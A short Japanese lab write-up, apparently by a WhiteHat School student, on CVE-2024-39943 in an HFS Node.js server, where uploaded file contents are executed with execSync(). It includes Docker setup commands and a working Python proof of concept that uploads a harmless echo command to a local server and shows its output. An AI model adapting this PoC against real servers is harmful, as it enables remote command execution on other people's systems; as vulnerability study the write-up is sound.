
ホワイトハットスクール第3期 – ノ・ジョンミン (@JenmrR)
Node.jsベースのHFSサーバー環境において、アップロードされたファイルの内容をchild_process.execSync()で実行する脆弱性が存在する。
攻撃者はファイルアップロード機能を通じてOSコマンドを直接実行でき、サーバー内部のコマンド実行結果を確認したり、システムを制御したりすることができる。
これはCVE-2024-39943に該当する脆弱性であり、コマンドインジェクション(Remote Code Execution)と同レベルの脅威を引き起こす。
/uploadパスでファイルアップロードを受信し、アップロードされたファイルの内容をそのままコマンドとして実行$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
PoC実行後のサーバー応答:
Executed:
Hello_From_Hacked_Server

execSync()で実行する方法は、深刻なセキュリティリスクを引き起こす。